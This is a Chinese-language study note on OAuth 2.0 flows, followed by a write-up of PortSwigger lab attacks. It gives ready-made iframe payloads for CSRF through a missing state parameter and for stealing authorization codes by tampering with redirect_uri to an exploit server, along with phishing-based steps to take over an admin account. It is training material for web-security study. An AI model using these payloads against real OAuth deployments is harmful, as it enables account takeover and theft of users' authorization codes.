什么是OAuth
OAuth是一种常见的授权框架,它允许网站请求另一个应用程序上的用户帐户的权限,例如允许使用QQ,微信登录等,这样的网站可能就使用了OAuth框架
类型
授权码模式
隐式授权模式
授权码:
客户端向授权服务器发出请求
ET /authorize?client_id=123
&redirect_uri=http://client-app.com/test
&response_type=code
&scope=profile
&state=abcd1234 HTTP/1.1
Host: authorization-server.com
client_id
:客户端在授权服务器的ID(公开)。
redirect_uri
:授权完成后,授权服务器回调客户端的地址。
response_type
:声明授权类型,code是授权码授权。
scope
:告诉授权服务器,客户端要访问哪些用户数据,profile是仅请求用户的基本信息(如用户名、头像)。
state
:随机字符串,防止CSRF。
用户再第三方登录后,确定授权
允许授权后,授权服务器会返回授权码
GET /callback?code=123456&state=abcd1234 HTTP/1.1
Host: client-app.com
客户端向授权服务器发送访问请求,用授权码换取访问令牌
{
"access_token": "123456789",
"token_type": "Bearer",
"expires_in": 3600
}
access_token
:访问令牌。
token_type
:令牌类型,告诉客户端如何携带令牌访问资源服务器,Bearer是持有者令牌。
expires_in
:令牌有效期,以秒为单位。
客户端凭借访问令牌,获取访问数据
隐式授权
//很少用了,OAuth2.1已经废弃它了,不安全,只记区别了
隐式授权不用先获取授权码,再换取访问令牌,而是用户允许授权后,直接获取访问令牌
而且一般通过 url 返回,会被看到,拿去搞坏事儿
搞洞
//靶场:http://portswigger.net/web-security/all-labs#oauth-authentication
OAuth 隐式认证绕过(×)
注册资源SSRF绕过(×)
scope篡改,升级范围信息获取
无 state 字段,CSRF
//cc 是坏蛋,jh 是 admin
GET /auth?client_id=womwjfhwbs6f1eq2lya6v&redirect_uri=https://0a080018035a803fd3381d05001a0081.web-
security-academy.net/oauth-login&response_type=code&scope=openid%20profile%20email HTTP/1.1
绑定社交帐号时,抓个包,发现无 state 字段,可以尝试CSRF
放行这个包,把下一个包的url 复制,放到 cc 的钓鱼网站上
诱导 jh 访问钓鱼网站,成功以管理员身份登录
<iframe src="https://0a080018035a803fd3381d05001a0081.web-security-academy.net/oauth-login?
code=ixKNyBKtiQkykrpffxN9wgMfupFN2vdMQ9PkDT-lvvy"></iframe>
redirect_uri 无白名单,篡改
绑定社交帐号时,抓个包,复制 url,丢弃包
来到cc钓鱼网站,粘贴url,把redirect_uri后的网址改成该服务器的网址
<iframe src="https://oauth-YOUR-LAB-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>
等待 jh 访问,我们就可以在服务器日志获得管理员的code
再次绑定社交帐号,放行第一个包,将第二个包的code替换成日志里的,拿下
SRC
https://mp.weixin.qq.com/s/TSsQ_mWGsFYZiF_RBdfbKg
https://mp.weixin.qq.com/s/NuNkzax8nb72qb-S1RvTnQ